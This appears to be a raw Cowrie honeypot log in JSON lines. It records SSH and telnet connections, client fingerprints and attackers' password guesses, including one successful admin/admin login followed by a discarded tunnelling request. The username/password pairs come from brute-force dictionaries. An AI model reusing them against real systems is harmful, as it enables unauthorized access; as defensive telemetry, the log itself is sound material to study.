{"eventid":"cowrie.session.closed","duration":12.650670766830444,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:08.020288Z","src_ip":"168.121.86.160","session":"d190fadb7427","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59450,"dst_ip":"159.203.135.109","dst_port":22,"session":"de01e89427a3","protocol":"ssh","message":"New connection: 172.237.20.62:59450 (159.203.135.109:22) [session: de01e89427a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:11.101527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:11.106777Z","src_ip":"172.237.20.62","session":"de01e89427a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:11.268353Z","src_ip":"172.237.20.62","session":"de01e89427a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:11.755359Z","src_ip":"172.237.20.62","session":"de01e89427a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34260,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9c154830083","protocol":"telnet","message":"New connection: 45.58.127.90:34260 (10.17.0.5:23) [session: f9c154830083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:12.786478Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:12.931340Z","src_ip":"172.237.20.62","session":"de01e89427a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":60798,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd581ce0d45a","protocol":"ssh","message":"New connection: 172.237.20.62:60798 (159.203.135.109:22) [session: bd581ce0d45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:22.127828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:22.135465Z","src_ip":"172.237.20.62","session":"bd581ce0d45a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:22.306696Z","src_ip":"172.237.20.62","session":"bd581ce0d45a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:22.797526Z","src_ip":"172.237.20.62","session":"bd581ce0d45a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:23.965051Z","src_ip":"172.237.20.62","session":"bd581ce0d45a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.907185554504395,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:28.223831Z","src_ip":"45.58.127.90","session":"2ba41a2bdb2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58922,"dst_ip":"10.17.0.5","dst_port":23,"session":"750b60fb58de","protocol":"telnet","message":"New connection: 45.58.127.90:58922 (10.17.0.5:23) [session: 750b60fb58de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:30.551925Z"}
{"eventid":"cowrie.session.closed","duration":1.9118967056274414,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:32.463692Z","src_ip":"45.58.127.90","session":"750b60fb58de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":54152,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b42305e40f","protocol":"ssh","message":"New connection: 172.237.20.62:54152 (159.203.135.109:22) [session: 74b42305e40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:33.015831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:33.020562Z","src_ip":"172.237.20.62","session":"74b42305e40f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:33.180192Z","src_ip":"172.237.20.62","session":"74b42305e40f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:33.713561Z","src_ip":"172.237.20.62","session":"74b42305e40f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.509602546691895,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:34.243965Z","src_ip":"45.58.127.90","session":"7899c1f51070","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:34.884259Z","src_ip":"172.237.20.62","session":"74b42305e40f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.462528228759766,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:38.879664Z","src_ip":"45.58.127.90","session":"2ff9bb584cd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.90557050704956,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:40.562250Z","src_ip":"45.58.127.90","session":"eabf79e2e5d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52006,"dst_ip":"159.203.135.109","dst_port":22,"session":"08111a87069a","protocol":"ssh","message":"New connection: 172.237.20.62:52006 (159.203.135.109:22) [session: 08111a87069a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:43.968560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:43.973908Z","src_ip":"172.237.20.62","session":"08111a87069a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:44.137989Z","src_ip":"172.237.20.62","session":"08111a87069a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:44.672965Z","src_ip":"172.237.20.62","session":"08111a87069a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:45.838086Z","src_ip":"172.237.20.62","session":"08111a87069a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.64607095718384,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:48.139556Z","src_ip":"45.58.127.90","session":"e67e228e1ef5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":29032,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7b010d7c352","protocol":"ssh","message":"New connection: 87.251.64.176:29032 (10.17.0.5:22) [session: e7b010d7c352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:50.099093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:50.103786Z","src_ip":"87.251.64.176","session":"e7b010d7c352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:50.200201Z","src_ip":"87.251.64.176","session":"e7b010d7c352","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:50.488596Z","src_ip":"87.251.64.176","session":"e7b010d7c352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:50.587052Z","session":"e7b010d7c352","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:50.683717Z","src_ip":"87.251.64.176","session":"e7b010d7c352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:50.782990Z","src_ip":"87.251.64.176","session":"e7b010d7c352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.12582516670227,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:52.485918Z","src_ip":"45.58.127.90","session":"cdb5b38c4fe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.39761304855347,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:53.183992Z","src_ip":"45.58.127.90","session":"f9c154830083","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45610,"dst_ip":"10.17.0.5","dst_port":23,"session":"50191b4965d4","protocol":"telnet","message":"New connection: 45.58.127.90:45610 (10.17.0.5:23) [session: 50191b4965d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:54.419900Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56118,"dst_ip":"159.203.135.109","dst_port":22,"session":"e886fcc62bcd","protocol":"ssh","message":"New connection: 172.237.20.62:56118 (159.203.135.109:22) [session: e886fcc62bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:54.882905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:54.964520Z","src_ip":"172.237.20.62","session":"e886fcc62bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45624,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf496b92a73f","protocol":"telnet","message":"New connection: 45.58.127.90:45624 (10.17.0.5:23) [session: cf496b92a73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:54.969748Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:55.044368Z","src_ip":"172.237.20.62","session":"e886fcc62bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:55.671384Z","src_ip":"172.237.20.62","session":"e886fcc62bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.122","src_port":25948,"dst_ip":"159.203.135.109","dst_port":22,"session":"eded19256055","protocol":"ssh","message":"New connection: 64.62.156.122:25948 (159.203.135.109:22) [session: eded19256055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:56.366586Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:56.370463Z","src_ip":"64.62.156.122","session":"eded19256055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:56.373513Z","src_ip":"64.62.156.122","session":"eded19256055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:56.832262Z","src_ip":"172.237.20.62","session":"e886fcc62bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45628,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3a8fec314c","protocol":"telnet","message":"New connection: 45.58.127.90:45628 (10.17.0.5:23) [session: fd3a8fec314c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:26:58.869493Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35074,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c2cb0d68ac","protocol":"telnet","message":"New connection: 45.58.127.90:35074 (10.17.0.5:23) [session: 88c2cb0d68ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:04.663871Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36046,"dst_ip":"159.203.135.109","dst_port":22,"session":"18184421950c","protocol":"ssh","message":"New connection: 172.237.20.62:36046 (159.203.135.109:22) [session: 18184421950c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:05.866816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:27:05.872894Z","src_ip":"172.237.20.62","session":"18184421950c","protocol":"ssh"}
